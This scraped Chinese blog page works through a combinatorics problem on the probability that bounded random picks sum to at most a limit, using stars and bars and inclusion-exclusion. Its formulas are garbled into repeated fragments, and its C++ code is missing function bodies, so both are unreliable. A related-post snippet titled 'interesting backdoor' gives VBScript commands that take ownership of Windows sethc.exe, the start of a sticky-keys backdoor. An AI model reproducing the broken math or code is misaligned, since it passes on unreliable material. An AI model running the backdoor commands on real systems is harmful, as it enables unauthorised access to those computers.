有意思的 組合數學

2021-10-10 05:15:25 字數 1778 閱讀 9090

n

nn個區間,第i

ii個區間在[0,

ri

][0,r_i]

[0,ri​

]任意選出乙個數

問最後∑xi

<=s

um

n\sum x_i<=sumn

∑xi​

<=s

umn的概率.

最後取出的總和是∑i=

1nxi

<=s

um

\sum\limits_^x_i<=sum

i=1∑n​

xi​<=s

um變形一下得到∑i=

1nxi

+k=s

um

\sum\limits_^x_i +k=sum

i=1∑n​

xi​+

k=su

m 那麼就有n+1

n+1n+

1個大於等於零的未知數

其實就是把sum

sumsu

m個數字分配到n+1

n+1n+

1個變數去

使用隔板法,sum

sumsu

m個數字形成了sum

−1

sum-1

sum−

1個空隙

把n

nn個隔板插入的方案就是csu

m−1n

c_^cs

um−1

n​但是每個組內部可以為空,所以先多出n+1

n+1n+

1個球放進在每組乙個

所以方案是csu

m−1+

n+1n

=csu

m+nn

c_^=c_^

csum−1

+n+1

n​=c

sum+

nn​但每個

變數其實

最多放r

i個球,

所以需要

容斥原理

\color但每個變數其實最多放r_i個球,所以需要容斥原理

但每個變數其

實最多放

ri​個

球,所以

需要容斥

原理具體做法是,對於乙個未知數有合法不合法兩種狀態

假如讓他不合法,那麼就先拿r

ir_i

ri​個數字分配下去

這樣就可以開始容斥原理,奇加偶減.

下面是簡略版,沒有取模和逆元.

#include

using

namespace std;

#define int long long

const

int maxn =

2e5+10;

const

int mod =

1e9+7;

int r[maxn]

,fac[maxn]

;int n,m,sumn,ans;

intquick_pow

(int x,

int n)

return ans;

}intc(

int n,

int m)

void

dfs(

int u,

int f,

int he)

dfs(u+

1,f,he)

;dfs

(u+1

,-f,he-r[u]);

}signed

main()

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...